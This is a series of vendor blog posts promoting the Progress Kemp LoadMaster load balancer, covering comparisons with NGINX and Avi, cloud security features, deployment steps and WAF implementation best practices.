Robust load balancing is essential for delivering a reliable and responsive web application experience. It helps distribute incoming access requests efficiently, helping to prevent any single server from becoming overwhelmed, improving redundancy and enabling better scalability.

Using the Progress Kemp LoadMaster solution can enhance performance, simplify management and improve security. With the LoadMaster solution, system administrators can load balance all their applications using the same powerful load-balancing solution instead of configuring load-balancing separately for NGINX instances and other web server types. This streamlined approach improves efficiency and reduces the learning curve, as IT teams only need to learn and become proficient in a single load-balancing solution that they can use with any web server they deploy on-premises or to the cloud.

What is NGINX?

NGINX (pronounced “engine-x”) is a high-performance web server that has become a preferred choice for many businesses due to its lightweight architecture and ability to handle numerous simultaneous connections. In addition to serving web pages, many organizations use NGINX as a reverse proxy and a caching server.

NGINX’s built-in load balancing features allow it to distribute requests across multiple backend NGINX servers, improving performance and maintaining redundancy. System administrators can configure NGINX to use various algorithms to distribute access requests and network traffic.

However, while NGINX provides basic load balancing, it lacks more advanced features such as in-depth health checks, traffic inspection, detailed reporting and sophisticated traffic management features that modern enterprises require. Additionally, NGINX does not provide out-of-the-box support for global load balancing or detailed application-specific optimizations, making it harder for enterprise users to scale it easily.

For large-scale distributed applications, it’s recommended to deploy a dedicated external load balancer with centralized monitoring and management. This will maintain high availability, scalability and enhanced security.

Overview of the LoadMaster Load Balancer

The LoadMaster solution offers significant enhancements in load balancing technology over the built-in NGINX load balancer’s features. LoadMaster software can be deployed as a dedicated load-balancing solution and in multiple ways to suit your application delivery and infrastructure needs, whether it’s a hardware appliance, virtual machine or cloud-based instance that supports your web-based services and not just those running on NGINX.

One of the LoadMaster solution’s ancillary features is its extensive library of application templates and deployment guides, including specific optimizations for NGINX environments. The pre-configured templates enable you to get the best performance from your applications via LoadMaster without complex manual configurations.

Key features that distinguish the LoadMaster load balancing solution from the built-in NGINX functionality include:

• Advanced application delivery with Layer 4-7 load balancing

• Real-time performance analytics and monitoring

• Comprehensive security features, including a WAF based on the industry-leading ModSecurity Engine

• Advanced Authentication and Authorization capabilities

• Global server load balancing capabilities (LoadMaster GEO)

• Optional automated TLS/SSL certificate management

• Intuitive web-based interface

• PowerShell Scripting API for automation and integration

• RESTful API for automation and integration

• Ansible automation

You can visit our dedicated page on LoadMaster capabilities and deployment options.

Installing Your Load Balancer Correctly

Whether you decide to use NGINX’s built-in load-balancing functionality or deploy a LoadMaster load balancer, proper installation and configuration are crucial for both performance and security. When setting up your load-balancing environment, careful attention to configuration details can make the difference between a robust, secure system and one that’s vulnerable to failures or attacks.

For those interested in exploring NGINX’s native load-balancing capabilities, the official documentation provides detailed configuration guidance. However, be prepared for a hands-on approach that requires familiarity with NGINX configuration syntax and manual testing.

The LoadMaster solution has a more streamlined installation process with robust documentation and deployment guides. These guides cover everything from initial setup to advanced configurations, making it easier for system administrators to implement and maintain their load-balancing infrastructure.

For specific information about using LoadMaster with NGINX, visit here. It provides detailed insights into LoadMaster configuration for load balancing NGINX and how to optimize the integration between NGINX and LoadMaster.

Final Thoughts

While NGINX offers built-in load-balancing capabilities, it falls short in terms of advanced traffic management, security and ease of use. LoadMaster provides a more capable, scalable and efficient load-balancing solution, allowing system administrators to manage all their applications via a single platform.

With its real and virtual server health checking, superior load balancing algorithms and deployment flexibility, the LoadMaster solution can be an ideal choice for delivering maximum uptime and performance for web applications on NGINX or any other web server.

If you’re currently using NGINX as a load balancer, now is the perfect time to try LoadMaster and see how it can improve your infrastructure. Get your Free Trial to start your journey to a better load-balancing experience for your NGINX and other web servers and applications.

There are many load-balancer vendors in the market and choosing the right load-balancing solution can be overwhelming. Major vendors have revamped their load-balancing offerings to align with the latest changes in the application delivery and load-balancing space. Organizations are re-evaluating their tech stacks in response to these changes. One of the biggest recent shakeups has been the Broadcom acquisition of VMware and the resulting spinout of Avi Networks (NSX Advanced Load Balancer). For organizations relying on Avi for L4-L7 load balancing and application delivery, it’s time to ask: What now?

In this post, we’ll explore how the Progress Kemp LoadMaster solution—a highly-rated, flexible and cost-effective ADC and load balancer—offers a seamless transition from Avi.

Why Replace Avi?

With VMware’s acquisition and reorganization under Broadcom, Avi’s future may be uncertain for many customers—especially those not deeply invested in the broader VMware ecosystem. Their customers are concerned about:

• Complex Licensing Complexity: VMWare shifted to a subscription-based model under Broadcom, which alters the licensing options offered by Avi. The pricing model may lead to higher costs for organizations that need to scale quickly in cloud environments.

• Increased Cost: The cost of the Avi Load Balancer can be higher than other simpler load balancing solutions, especially for smaller businesses or those with less complex needs.

• Integration with VMware: The Avi Load Balancer works seamlessly with VMware’s NSX and other VMware tools, but it might not be the best fit for organizations that don’t use VMware products or are using multi-cloud or hybrid-cloud environments with non-VMware platforms.

• Vendor Lock-In: For organizations that want to avoid heavy reliance on a specific vendor, the close integration with VMware tools could lead to potential vendor lock-in, making future migrations or changes more difficult.

• Ineffective Analytics: Avi offers limited visibility into complex multi-cloud environments. The analytics and monitoring may be ineffective, especially for organizations that need robust insights for performance and security.

VMware’s acquisition of Avi has introduced challenges like higher costs, integration issues and vendor lock-in concerns. The LoadMaster load balancer offers a cost-effective, flexible and innovative alternative that can be deployed easily in any environment.

Progress Kemp LoadMaster: The B2B Load Balancer Built for the Real World

The LoadMaster load balancing solution combines enterprise-grade features, flexible deployment and a suitable pricing model that makes sense—especially for small to mid-sized enterprises.

1. Simple, Easy-to-Use Products

Switch to LoadMaster software and experience award-winning hardware, virtual and cloud-native deployment options. The LoadMaster solution is the industry’s first per-app software load balancer/application delivery controller (ADC), providing an innovative, intuitive solution designed for simplicity and ease of use.

2. Competitive Price/Performance

Enhance application availability, scalability, performance and security without hidden costs. Why settle for complicated, expensive systems when the LoadMaster solution offers a full-featured, high-performance ADC and load balancer at a competitive price?

3. Flexible Licensing Options

Choose from perpetual, pooled, pay-as-you-go or service provider licensing options. Our flexible licensing verifies that you only pay for what you need. The LoadMaster team offers pricing models tailored to your business needs.

4. Centralized Visibility and Alerting

Gain powerful insights into your application delivery metrics. With the LoadMaster solution, you can monitor client requests, network traffic, latency and server performance in real-time, maintaining optimal system performance and reliability.

5. Enhanced Threat Protection

Stay ahead of sophisticated security threats by adding layers of security with the LoadMaster solution to help protect your web applications. Cutting-edge threat protection helps maintain the integrity and availability of your services.

6. Faster ROI

Reduce your deployment time with the LoadMaster load balancer. Whether it’s through simple tutorials or the dozens of pre-configured templates, you’ll be able to deploy and go live faster than ever, enabling you to start benefiting from your investment quickly.

7. Distinguished Support

Gain access to outstanding 24/7 support when deploying LoadMaster load balancer. Our dedicated global support team is here to assist you, and we pride ourselves on providing the best customer service. Plus, you won’t be upsold on unnecessary services.

Comparison Matrix: Kemp LoadMaster vs Avi vs Other Major Load Balancers

In Conclusion

If you’re looking for a clean exit from the complexity of Avi (or its parent, VMware), the LoadMaster load balancing solution is a top-tier alternative. Whether you’re a mid-sized enterprise, a hybrid cloud shop, or a federal agency needing hardened hardware, LoadMaster software offers the features, flexibility and support you need, without locking you into a costly vendor ecosystem.

Switching to the LoadMaster solution can provide you:

• Dozens of templates for VMware-based apps
• Advanced WAF and GSLB features
• Federal-grade security and offline options
• Simplified licensing that lets you spin up unlimited instances without per-device charges
• Top tier support - 4.9/5 rating on Gartner Peer Insights and a leader on G2

Try a LoadMaster Load Balancer free for 30 days to experience its benefits and ease of use. You may also contact us if you need help choosing the right deployment model or getting started with a trial.

Your future load balancer doesn’t need to be complicated—it just needs to work.

Cyberthreats continue to evolve, with cyberattackers probing for and targeting new and existing application vulnerabilities and APIs to steal data or disrupt operations. IT teams need to balance cloud application security, performance and reliability without adding complexity to deployment or operations management.

Progress Kemp LoadMaster load balancers can significantly enhance the security of applications deployed across cloud platforms—and for hybrid and on-premises deployments. In addition to delivering application uptime and performance, the LoadMaster solution has security at its core. In this blog, we’ll explore how LoadMaster capabilities provide a security-focused approach to cloud load balancing. This makes it ideal for modern organizations looking to implement best practices for cloud application security.

The Importance of Security in Cloud Load Balancing

Modern cloud environments offer both opportunities and challenges. Organizations can benefit from scalability and flexibility without having to build and manage their own on-premises infrastructure. However, the shift toward cloud deployments has created new application security challenges, as traditional network perimeter defenses are no longer well-defined.

Applications residing in the cloud need protection against the same threats that affect traditional deployment models, such as ransomware, data breaches, DDoS attacks, supply-chain vulnerabilities and more. With APIs now playing a central role in application functionality, securing both APIs and device endpoints is more critical than ever.

LoadMaster load balancers are crucial for securing this landscape by acting as strategic control points for application access. Positioned between users and application servers in the cloud, they inspect traffic before it reaches critical infrastructure. The LoadMaster solution enhances this capability by incorporating multiple security layers directly into its load-balancing functionality, creating a security-first approach to application delivery. Read more about load balancer security for your applications and APIs with the LoadMaster solution.

Understanding LoadMaster Security Capabilities

The LoadMaster solution provides robust security features without impacting application performance. It adapts to diverse security needs for organizations operating in complex environments by providing web application firewall (WAF) protection, DDoS mitigation, strong authentication controls and encrypted communications management.

We outline specific security-focused features of LoadMaster load balancers throughout the blog.

Key Security Features of Kemp LoadMaster Cloud Load Balancers

Web Application Firewall (WAF) - The LoadMaster WAF is built on the widely used and respected ModSecurity WAF and is a cornerstone of LoadMaster security capabilities. It delivers protection against common and emerging threats, including those in the OWASP Top 10. The WAF has a rules subscription service, which means that new application vulnerabilities can get addressed quickly.

DDoS Protection and Mitigation - The LoadMaster solution includes built-in defenses against volumetric and targeted DDoS attacks. By detecting and neutralizing these threats in real time, the LoadMaster solution helps deliver uninterrupted service availability, a crucial factor for customer trust and operational continuity.

TLS/SSL Offloading and Encryption - Secure network communications are a must for modern applications. TLS/SSL certificates and encryption are core to this security. However, TLS/SSL processing is resource-intensive and can impact performance when done on application servers. One LoadMaster capability includes offloading TLS/SSL encryption and decryption processes from application servers. Thereby improving performance while maintaining high levels of encryption to help safeguard sensitive data. The LoadMaster product can also perform automated TLS/SSL certificate management to prevent security certificates from expiring and unplanned application downtime due to certificate issues.

Zero Trust Security Model Support – LoadMaster load balancers help organizations shift toward zero-trust architectures by working with authentication and access control mechanisms to enhance endpoint security. By validating user and device identities, the LoadMaster solution minimizes the risk of unauthorized access.

Strong Authentication Support - Advanced authentication support, including integration with Active Directory, RADIUS, SAML and multi-factor authentication. Support for delivering modern MFA and SSO integration reduces reliance on passwords, protecting applications from credential-based attacks. LoadMaster software also supports Role-Based Access Control (RBAC) to provide administrators and end users with appropriate access levels, reducing the likelihood of accidental or malicious damage by people with elevated permissions they don’t need or shouldn’t have.

API Security and Gateway Protection - Strong authentication support extends to API access. The LoadMaster solution helps secure APIs by inspecting traffic, validating inputs and blocking unauthorized access. In our era of API-driven development, this capability is critical for protecting microservices or monolithic applications deployed in the cloud.

How the LoadMaster Solution Enhances Application Control

Beyond the security features, industry-leading LoadMaster application controls provide efficient and secure application uptime and performance even in times of complex traffic patterns. Additionally, the product provides granular control over application traffic through Layer 7 inspection and filtering. This capability allows system admins to inspect and block malicious requests before they reach application servers, significantly reducing the attack surface. The load balancer can also adjust policies based on detected security threats to optimize security and performance.

Geographic access controls enable organizations to restrict application access based on server and end-user location, while real-time monitoring via LoadMaster 360 provides detailed visibility into security events. Adding LoadMaster security capabilities to your overall cloud security infrastructure helps create a robust defense system that adapts to security conditions while maintaining application availability.

LoadMaster 360 also provides continuous visibility into security events and other application metrics. It can also share log files with SIEM systems, adding LoadMaster information to the bigger-picture view of the network many organizations have in their SIEM system.

Elevate Protection Against Evolving Cyberthreats

The threat landscape we all deal with isn’t static. New vulnerabilities are constantly discovered and cybercriminals continuously adapt their technical and social engineering attack methods to find new ways to breach security. Having LoadMaster cloud load balancers as part of your application delivery infrastructure provides security capabilities that help defend against emerging threats. For example:

• Ransomware and Malware Attacks - With built-in controls for detecting malicious payloads, the LoadMaster solution helps prevent newly emerging malware types from infecting Application servers running in the cloud.
• Data Breaches and Unauthorized Access - Encryption, authentication and strict access controls help prevent unauthorized access to sensitive information and systems, even when a new vulnerability allows the bypassing of a part of your multi-layered security defenses.
• Bot Attacks and Credential Stuffing - Traffic filtering and WAF integration identify and block new bot-based attacks, preserving application integrity and performance.
• Insider Threats and Misconfigurations - Centralized security management reduces the risks of accidental or intentional insider attacks or mistakes.

Securing Multi-Cloud and Hybrid Cloud Environments

Many organizations now operate across multiple cloud platforms. This is often due to specific business applications mandating a particular platform, the use of special offers on infrastructure, or the wish to diversify application deployments for resilience.

When using multiple cloud platforms, IT teams often have to learn how to use the different tools from each to deliver the same functionality. This is true for the native cloud load balancing and security tools. Adopting a solution that is available across all platforms allows for a consistent deployment and management experience, meaning that system admins only need to learn one tool.

The LoadMaster solution provides a consistent interface and security policies across cloud platforms like AWS and Azure. The shared interface simplifies management for hybrid cloud deployments, reducing complexity and operational overhead. LoadMaster cloud cross-platform functionality streamlines compliance with industry standards like GDPR, CCPA, HIPAA, PCI-DSS and others, helping organizations meet regulatory requirements.

Step-by-Step Guide: Implementing LoadMaster Capabilities for Enhanced Security

You can read about deploying the LoadMaster solution on the popular cloud platforms via the following links:

• Amazon Web Services

• Microsoft Azure

In general, deploying LoadMaster to a cloud platform is straightforward. Especially for AWS and Azure, where you can deploy it directly from each platform’s Marketplace. Whichever cloud platform you are deploying it on, you should follow these steps to maximize security:

• Deploy LoadMaster – Configure the LoadMaster solution in your environment via its intuitive interface using pre-built templates or the various scripting options available.
• Enable WAF – Improve application protection by configuring the WAF with appropriate rule sets.
• Enable SSL/TLS Encryption - Set up certificates and manage encryption policies to help secure data transmission. Configure automated certificate renewal.
• Configure Authentication Policies - Implement MFA, SSO and other authentication tools to strengthen identity and API protection.
• Integrate with Other Tools - Connect LoadMaster load balancers with other security tools, such as SIEM tools, to enhance visibility into your security landscape.

Performing regular security updates for LoadMaster load balancers, continuous monitoring and periodic security assessments can help deliver ongoing optimal security protections.

Best Practices for Maximizing Security with Cloud Load Balancers

In addition to the deployment best practices outlined above, IT teams should follow these cloud application security best practices to maximize the cloud security benefits of using LoadMaster cloud instances. Doing so will boost your cloud security, even if you don’t actively track or monitor cloud application security issues.

• Keep LoadMaster deployments updated to the latest versions.

• Monitor LoadMaster instances to make sure security-related functions are operating as intended.

• Optimize the LoadMaster security rules and make sure rule subscriptions are operating correctly.

• Audit security settings regularly to confirm they are fit for purpose and help you meet compliance requirements. This should be part of a broader security review across all solutions to contribute to the overall cloud and on-premises security posture.

Why the LoadMaster Solution Is a Top Choice for Secure Cloud Load Balancing

LoadMaster cybersecurity features are tailored to modern cloud environments. Its integration with existing solutions and award-winning 24/7 support means organizations have the tools and assistance needed to help safeguard their cloud applications.

By combining in-depth security and performance optimization, the LoadMaster solution helps you meet and exceed the demands of today’s cloud and hybrid deployment landscapes. For organizations seeking to enhance cloud security while maintaining agility, the LoadMaster load balancer is an excellent choice.

Conclusion and Next Steps

The LoadMaster solution helps organizations secure their cloud applications against ever-evolving threats while optimizing performance. It provides a robust and flexible solution for modern security needs, from advanced WAF capabilities to zero-trust support and multi-cloud compatibility.

All LoadMaster versions, including the cloud-native installations, fully align with modern deployment needs, provide robust functionality and offer flexible licensing, including industry-leading subscription options. The LoadMaster solution has a lower cost of ownership than other vendors, including the default AWS and Azure load balancers.

With this shift has come the need to load balance application instances and components within regional cloud locations and globally for resilience and performance reasons. The need for load balancing in cloud computing stems from the necessity to effectively distribute workloads across multiple regional cloud servers or between regions to provide high availability and performance.

All cloud platforms have native load-balancing options. However, in the multi-cloud world where many businesses and other organizations now operate, IT teams must learn and manage several different load-balancing tools. Given that load balancing is core to a robust application experience for users and customers, it is crucial to make your load-balancing infrastructure performant and easily manageable.

The modern Progress Kemp LoadMaster cloud load balancer goes beyond simple traffic distribution. It delivers sophisticated cloud application delivery functionality that handles complex routing decisions, security and optimization tasks. Its advanced capability is crucial for organizations looking to provide optimal cloud services for staff and to maintain a competitive advantage in increasingly demanding digital environments.

Understanding Kemp LoadMaster Cloud Load Balancer Solutions

The LoadMaster suite offers innovative, cloud-based load-balancing solutions tailored to meet the demands of modern cloud environments. LoadMaster cloud load balancers stand out due to its ability to provide seamless traffic distribution, scalability and robust security features when deployed on cloud platforms.

LoadMaster cloud load-balancing solutions work seamlessly with the leading cloud providers like AWS and Azure, making them a versatile choice for hybrid and multi-cloud strategies. LoadMaster is also ideal for organizations planning a private cloud deployment, as this research paper from Gartner attests.

The key LoadMaster benefits in cloud environments include the following:

• Scalability – Scales applications effortlessly to handle traffic surges through the ease of deploying and configuring the LoadMaster solution.
• High Availability – Delivers maximum uptime and maximizes business disruptions with advanced failover mechanisms allow IT teams to tailor the LoadMaster solution to each organization or individual application as required.
• Application Performance – Improves user application experience by delivering faster response times with features like SSL offloading, caching and compression.

How LoadMaster Software Enhances Productivity and Efficiency

The LoadMaster solution stands out in the cloud load balancing landscape by offering a unified solution that works consistently across various cloud deployments (as well as supporting on-premises and hybrid cloud environments. Unlike the native cloud platform load balancers specific to each cloud platform environment, LoadMaster provides a consistent management interface and feature set across all deployments. This means that system admins only need to learn a single industry-leading load-balancing solution. And their skills are transferable to a new cloud platform.

The LoadMaster approach to cloud load balancing focuses on delivering optimal application experiences while simplifying management tasks. The platform provides intelligent traffic distribution that automatically adapts to changing workload demands, maintaining applications responsiveness even during heavy use.

The need for load balancing in cloud computing becomes particularly apparent when dealing with modern application architectures. LoadMaster ability to handle complex routing decisions while also providing deep application insights allows organizations to maintain high-performance levels while reducing administrative overhead.

LoadMaster excels in several key areas for cloud deployment:

• Optimized Traffic Distribution – Intelligent LoadMaster load-balancing algorithms mean that server workloads are evenly balanced. This provides optimal application performance and reduces bottlenecks that can degrade the user’s application experience.
• Scalability - Easily managed scaling capabilities allow businesses to adapt to changing workloads. This enables operational efficiency, especially during traffic spikes or unplanned surges.
• High Availability and Failover Protection – Uninterrupted LoadMaster service delivery leverages advanced failover mechanisms. Businesses can maintain service level agreements (SLAs) and protect customer trust, even during unexpected outages.
• Application Acceleration and Optimization - Built-in features like TLS/SSL offloading reduce application server loads, while local caching and compression enhance application response. These optimizations improve user experience and help lower cloud operation costs by reducing resource use on application servers.
• Security and Compliance - LoadMaster security capabilities such as a Web Application Firewall (WAF) and DDoS protection, which maintains compliance with multiple industry security standards, which is critical for businesses in highly regulated industries like healthcare and finance.

Key Features of Kemp LoadMaster for Cloud Load Balancing

LoadMaster includes a feature set that addresses the complex requirements of modern application delivery while making this functionality easy to deploy and manage. The solution’s load-balancing algorithms go beyond simple round-robin distribution, considering factors such as server health, response times, current load levels and more.

The five key features that make LoadMaster cloud load balancer stand out are:

• Global Server Load Balancing (GSLB) - This feature delivers optimal resource utilization, redundancy across multiple geographic locations and resilience if a cloud platform has a regional outage.
• Intelligent Traffic Steering - Advanced algorithms analyze traffic patterns and distribute workloads efficiently.
• Multi-Cloud Compatibility – The LoadMaster solution supports AWS, Azure and hybrid deployments, providing unmatched flexibility.
• Container Support - Easy integration with containerized architectures, such as Kubernetes, allows applications to scale automatically and optimizes load balancing in hybrid environments.
• Performance Monitoring and Analytics - Real-time insights enable proactive optimization of application delivery and the user experience.

LoadMaster is an ideal solution for multiple load-balancing needs. It provides a range of features, including:

• Versatility: Suitable for on-premises, cloud-based and hybrid environments.
• Performance: High-capacity traffic and low-latency processing.
• Security: Robust load balancer security features, including WAF, SSL offloading and intrusion prevention.
• Ease of Use: User-friendly interface with more thorough monitoring and reporting tools.
• Popular Workflows: Friendly RESTful API, PowerShell and Java APIs to integrate into DevSecOps and other workflows.

Use Cases: Maximizing Efficiency Across Different Workloads

You can read about the many organizations that have succeeded with LoadMaster (in the cloud and on-premises). You can also read about how LoadMaster is highly regarded by Systems Admins, as reported in the quarterly G2 Momentum Grid Reports. Here are several types of use cases where LoadMaster excels:

• E-Commerce and High-Traffic Websites - Handles sudden traffic spikes seamlessly, maintains consistent performance during peak periods like sales events or holiday seasons. It also helps deal with nefarious spikes in traffic, such as those from DDoS attacks.
• Enterprise Applications and SaaS Providers - Delivers a user experience with minimal latency, regardless of a user’s location. The need for load balancing in cloud computing is critical when delivering enterprise applications that require seamless global access.
• Healthcare and Financial Services – Maintain compliance with government and industry regulations like HIPAA and PCI DSS with built-in security features.
• Hybrid Cloud and Multi-Cloud Deployments – Flexible and dynamic load balancing LoadMaster software compatibility with various cloud environments enables cross-platform interoperability. This delivers a way to build redundancy into IT infrastructure deployments with flexible and dynamic load balancing strategies for critical applications.

Step-by-Step Guide: Deploying the LoadMaster Solution for Maximum Efficiency

Implementing the LoadMaster solution in cloud environments is straightforward, with direct marketplace availability in major cloud platforms like AWS and Azure. You can also deploy LoadMaster via a standard virtual machine instance on other cloud platforms or private cloud environments. The LoadMaster interface across these different deployment scenarios reduces the learning curve for IT teams and simplifies management tasks.

Systems administrators should follow the steps below to deploy LoadMaster in the cloud:

• Setting Up the LoadMaster Solution in Your Cloud Environment - Choose your preferred cloud provider and deploy LoadMaster using the preconfigured virtual appliances or marketplace offering.
• Configuring Traffic Distribution Policies - Define load-balancing algorithms and health-check parameters to deliver optimal resource utilization.
• Implementing High Availability and Failover Mechanisms - Configure redundancy options to prevent service disruptions during hardware or network failures.
• Optimizing Security and Performance Settings - Enable TLS/SSL offloading, DDoS protection, and caching to enhance application speed and security.
• Automating load Balancing for Continuous Efficiency - Leverage APIs and integration with DevSecOps tools to automate routine tasks and streamline operations.

You can read more details about LoadMaster deployment on the LoadMaster documentation site.

Best Practices for Optimizing Cloud Load Balancing Efficiency

When deploying the LoadMaster solution to the cloud (or on-premises), it’s beneficial to follow load-balancing best practices built up over time across many deployments (over 100,000 in the case of LoadMaster). The best practices include implementing appropriate health monitoring, configuring optimal persistence settings and effectively utilizing LoadMaster security features. Here are five configuration areas to focus on when deploying and setting up LoadMaster for your cloud environment.

Fine-Tuning Load Balancing Algorithms - Adjust the load-balancing configuration based on traffic patterns to achieve maximum performance over time.

Adjust Scaling - Scale the number of LoadMaster instances deployed in response to varying traffic loads.

Continuous Monitoring and Performance Tuning - Use real-time analytics to identify and address potential bottlenecks.

Security Best Practices for Load Balancing in the Cloud - Update security policies regularly and enable advanced features like WAF and DDoS protection.

Deliver Compliance and Regulatory Standards - Stay updated with industry regulations to avoid penalties and maintain customer trust.

Why Choose LoadMaster for Your Cloud Load Balancer Needs?

LoadMaster offers several compelling advantages over other cloud load-balancing options. It is a proven leader in cloud-based load balancer solutions, offering unmatched performance and reliability. Key reasons to choose LoadMaster include:

• Proven Performance and Reliability - Trusted by businesses across industries to deliver consistent results. LoadMaster has over 100,000 global deployments.
• Cost-Effective and Scalable Solutions - Flexible pricing models when scaling instances make LoadMaster an economical choice.
• Robust Support and Expert Guidance - LoadMaster support is available to advise you on deployment and ongoing optimization.
• Seamless Integration with Existing Cloud Ecosystems - Compatible with leading cloud platforms simplifies adoption and management.

Conclusion and Next Steps

The need for load balancing in cloud computing is greater than ever as businesses strive to deliver exceptional user application experiences and maximize operational efficiency. The LoadMaster suite offers robust features tailored to modern cloud environments. It’s ideal for IT decision-makers looking to maintain user productivity or maximize uptime for business and eCommerce systems.

LoadMaster also enables organizations to secure their cloud applications against ever-evolving threats while optimizing performance. LoadMaster provides a robust and flexible solution for modern security needs, from advanced WAF capabilities to zero-trust support.

All versions of LoadMaster, including the cloud-native installations, fully align with modern deployment needs, provide in-depth functionality and offer flexible licensing, including industry-leading subscription options. Deploying LoadMaster has a lower ownership cost than other cloud load-balancing options, including the default AWS and Azure load balancers.

In conclusion, LoadMaster offers a robust, adaptable solution for various cloud application needs. This makes it a top choice for IT decision-makers and senior system administrators looking for reliable, efficient and more secure load-balancing options.

Try a LoadMaster Load Balancer free for 30 days to see the benefits and ease of use for yourself.

Web Application Firewalls (WAFs) are vital to the broader cybersecurity protections needed to secure web applications. They provide an essential line of defense by protecting websites from various malicious attack types. In the sections below, we’ll discuss the importance of WAFs, provide guidance on how to plan for their deployment and comment on how to deal with common challenges.

Importance of Web Application Firewalls

The threat landscape that web applications operate in is constantly changing. Cybercriminals frequently discover and exploit new threats, including zero-day vulnerabilities. Attackers also change their techniques to bypass the cybersecurity measures in place. Let’s not forget the risks from well-known threats such as SQL injection, cross-site scripting (XSS) and DDoS attacks, which continue to be significant.

WAFs play a crucial role in defending against the threats that current web applications face, including the threats in the OWASP Top 10. They serve as a shield between your web applications and the internet, filtering and monitoring web traffic flowing to and from applications. WAFs do this by inspecting network traffic from load balancers to web application servers. A WAF can block malicious and suspicious network requests and traffic from reaching the web application servers. Using WAFs as a core part of a wider cybersecurity protection strategy significantly reduces the risk of successful cyberattacks and data breaches. As such, they help protect your business applications, sensitive data and your organization’s reputation.

WAFs typically support multiple techniques to monitor and filter traffic flowing to web application servers. These techniques include:

Signature-Based Detection - WAFs use rules and lists of known attack patterns to detect malicious activity.

Anomaly-Based Detection - An established baseline of regular network activity gets recorded. Any deviations from this baseline are detected, and steps are taken to stop malicious activity. See the Progress Flowmon ADS site for a Progress solution that takes this defense method to the next level.

Security Models - WAFs can use Negative (block) and Positive (allow) lists to control traffic flow to web applications.

WAFs protect against web application attacks and often include additional features such as bot attack prevention, DDoS protection, API security and integration with other security solutions, such as SIEM systems.

WAFs are essential to the broader security strategy to protect web-based applications. They provide an extra layer of protection against cyberthreats targeting the application layer.

Understanding WAFs: An Implementation Guide

Configuring and implementing a WAF will require a combination of standard configuration settings plus changes unique to the network environment and web applications deployed. At a high level, the implementation choices will vary between these three deployment options:

Network-Based WAF - Typically dedicated hardware-based and installed on a local network. They provide high-speed protection and are often also load balancers with dedicated TLS/SSL chips to process network traffic decryption and encryption.

Software-Based WAF - Software-based WAFs are typically deployed as a component of a load balancer running in a virtual machine. In some instances, they can run directly on a web server. However, this approach is not recommended for security and performance reasons.

Cloud-Based WAF - There are two common cloud-based deployment methods. The first is to use a WAF that the third-party cloud platform provider manages. This method offers ease of deployment without an ongoing need for management. Another cloud option is to deploy a third-party WAF (often along with a load balancer) as a dedicated service from the cloud platform marketplace or via a server virtual machine. This option gives the organization using the WAF more control over the settings, but it does require more setup and management. A significant advantage of this approach is that it allows the use of a common WAF across all parts of a multi-cloud and on-premises hybrid infrastructure. In this scenario, systems admin staff only need to learn how to use a single user interface and set of configuration screens.

Implementing WAFs

When planning a WAF deployment, you should include the following steps in the process to pick a WAF and deployment method:

Evaluate Your Needs - Determine the type of WAF that best fits your web application based on factors such as traffic volume, application architecture and specific security requirements.

Select a WAF Solution - Choose a WAF provider that meets your criteria. Consider factors like ease of integration, cost, support and feature set. Read more about the enhanced WAF included in LoadMaster 360.

Image 1: LoadMaster 360 WAF Insights

Configure the WAF - To increase defenses against common threats, you can configure the WAF by defining security policies, setting rules and customizing the configurations to suit your application. For details on configuring the LoadMaster 360 WAF, read the LoadMaster WAF documentation pages.

Test - Implement the WAF in a staging environment first to verify if it doesn’t interfere with legitimate traffic. Monitor performance and make necessary adjustments. Another common option is first to deploy copies of the WAF you plan to use to DevSecOps and Q&A environments. When testing your WAF deployment, the LoadMaster 360 Insights screen provides valuable information on what the WAF is seeing and blocking in the network traffic. The WAF Rule Tuning setting outlines how to tweak the rules on the WAF to meet your particular needs.

Image 2: LoadMaster 360 WAF Rule Tuning

Go Live—Once tested, deploy the WAF in your live environment. Scripting can make this process seamless. Once the WAF is in production, monitor its operation and adjust the configuration as needed.

The Progress LoadMaster Professional Services teams can assist organizations adopting the enhanced LoadMaster 360 WAF.

Best Practices for Ongoing WAF Management

When a WAF is in a production environment, monitoring its activities and adjusting settings as required is essential. This does not mean that WAFs require constant management, but rather that it’s necessary to confirm they provide maximal cybersecurity protection in the constantly changing threat landscape. In reality, what this means is that your IT team should:

Access Performance Impacts – Confirm that the WAF doesn’t hinder web application performance. It’s especially important to check this after any updates to the web application or the WAF software.

Install Updates Regularly - Keep the WAF software and rules updated to protect against the latest threats.

Log Monitoring - Systems administrators should monitor WAF logs for abnormal activity. Most modern WAFs, such as the LoadMaster 360 WAF, can forward logs to dedicated log monitoring and SIEM systems for analysis. Rules on the WAF should be adjusted as required if the Log analysis highlights any potential security gaps.

Rule Updates and Tuning - Periodically review and adjust the WAF protection rules to minimize false positives and verify that legitimate traffic isn’t blocked.

Create an Incident Response Plan - Have a plan in place to respond to incidents quickly. The incident plan should be tested periodically via a simulated incident so that key staff members know how to react when an actual incident occurs.

By following these best practices, you can maximize the protection offered by your WAF and keep your website secure in the face of evolving cyber risks.

Integrating WAFs into Your Overall Website Security Strategy

WAFs are not remedies for cybersecurity. In the modern threat landscape, a broad set of security solutions and techniques are required to deliver a comprehensive defensive posture. Having said that, we shouldn’t downplay the importance of WAFs. They are a vital part of any cybersecurity defense strategy; you must include them if you deliver web applications over the Internet.

WAFs augment security defenses in several ways. The best way to deploy them is as part of a robust cybersecurity defense strategy that includes network firewalls and other technologies such as intrusion detection systems, network detection and response (NDR) solutions, Security Event and Information (SEIM) systems, Identity and Authentication Management (IAM), Zero-Trust Network Access (ZTNA) and more.

It’s worth noting that WAFs do not replace traditional network firewalls. Rather, they enhance the security provided by existing network and security tools by enabling an additional layer of security inspections and checking network traffic in different and complementary ways.

WAFs add the following to security defenses:

Defense for web applications - WAFs act as a final line of defense for web applications and web servers. They sit between user endpoint devices and web application servers and monitor web traffic to detect security issues before they can reach and impact the web applications.

Enhance security provision - WAFs understand how web traffic uses the HTTP/HTTPS protocols. As a result, they can inspect network packets to look for potential threats and prevent exploit attempts that traditional network firewalls will not detect. WAFs can decrypt network traffic to inspect it for malicious payloads. And also encrypt network packets they send.

WAFs play a crucial role in a complete cybersecurity strategy. Integrating WAFs with other security measures creates multi-layered defenses that address numerous cyberthreats. For an overview of the typical security provided by a WAF and, specifically, by LoadMaster 360 WAF, read this blog post and the LoadMaster 360 Enhanced WAF website.

Case Studies: Successful WAF Implementations

We’ve included case studies of organizations that have deployed WAFs to boost the resilience of their web application infrastructure. The case studies feature the LoadMaster WAF and showcase how WAFs have helped prevent attacks, mitigate risks and contribute to overall website and web application resilience.

